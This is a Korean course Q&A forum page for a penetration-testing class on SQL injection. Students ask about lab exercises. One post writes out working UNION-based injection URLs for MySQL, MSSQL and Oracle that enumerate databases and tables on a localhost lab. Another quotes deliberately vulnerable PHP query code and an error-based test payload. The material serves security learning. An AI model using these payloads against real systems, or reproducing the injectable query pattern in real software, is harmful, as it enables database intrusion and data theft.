묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문
1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다.[실습 쿼리문]http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다.2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다.2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다.[실습쿼리문]http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)--[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다.2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다.3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다.[실습쿼리문]http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2--[쿼리문 실행결과]1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다.질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요? 질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼)--> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.
-
해결됨모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
[실습6-1]MSSQL ERROR-BASED 공격 실습 관련 질문 내용
안녕하세요. 크리핵티브님 MSSQL에 대한 Error-based 공격 실습 관련 질문 사항이 발생해서 질문 드리게 되었습니다.Injection 공격 검증을 할 때 사용하는 쿼리문 내용 중 test%' and '%'=' 구문이 있는데 이런 구문이 있는 이유가 index.php 의 내용을 보면 아래와 같은 코드로 만들어져서 있는 것으로 알고 있습니다.[index.php의 일부 코드](생략) $query = "select * from {$tb_name}"; } else { if($search_type == "all") { $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'"; } else { $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; }--> 즉 우리가 입력한 test%' and '%'=' 은 if문 안에 들어가서 $query의 '%{$keyword}%'에 들어가게 되어서 최종적으로는 $query = "select * from board..tb_board where '%test%' and '%'='%'"; 이 되어서 test 이름이 들어간 모든 게시물을 보여주는 것으로 알고 있습니다. 공격 검증에 사용되는 test%' and '%'=' 구문은 현재 우리가 index.php의 $query의 내용을 알고 있어서 이렇게 test%' and '%'=' 작성 할 수 있지만 실제 실무에서도 이게 활용이 가능한지 궁금합니다.혹시 대부분의 실무 환경도 $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; 같은 구조로 개발이 되어서 대부분의 실무 환경에도 test%' and '%'=' 구문을 공격 검증 페이로드로 사용할 수 있는지 여부가 궁금합니다.
-
미해결모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
실습 환경 중 Oracle DB sys계정 정보 가르쳐 주실 수 있는지 궁금합니다.
안녕하세요. 크리핵 티브님 제가 개인적으로 JDBC와 JSP를 이용한 개발 학습을 하려고 하는데 sysdba 권한이 있는 계정 접속이 필요합니다. 그래서 제공해주신 웹 환경의 Oracle DB의 sys계정의 password를 가르쳐 주셨으면 합니다. 확인 후 답변 부탁드리겠습니다. 감사합니다.
-
미해결모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
LoS 문제풀이에서 질문
안녕하세요. 크리핵 티브님 강사님 강의를 따라 들으면서 LoS 문제를 풀다가 php 코드에서 한가지 질문 사항이 생겼습니다. 대부분 LoS 문제에 보면 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); <-- 이런 구문이 있는데 여기서 필터링 하는 대상 중 prob , _ . / i 를 필터링 한다고 하는데 prob는 무엇을 의미 하는지 모르겠습니다. 그냥 prob가 들어간 문자열을 필터링 한다고 알면 되나요? 아니면 prob가 들어간 어떤 기능의 SQL 구문을 필터링 한다고 알면 되나요?
-
미해결
웹해킹 강의 맥북으로도 수강 가능한가요?
안녕하세요! 웹개발자와 정보보안 입문자들이 반드시 알아야 될, 웹 해킹과 보안 그리고 시큐어 코딩 수업을 들으려고하는데요, 맥북으로도 수강이 가능한건지 여쭤보고 싶습니다!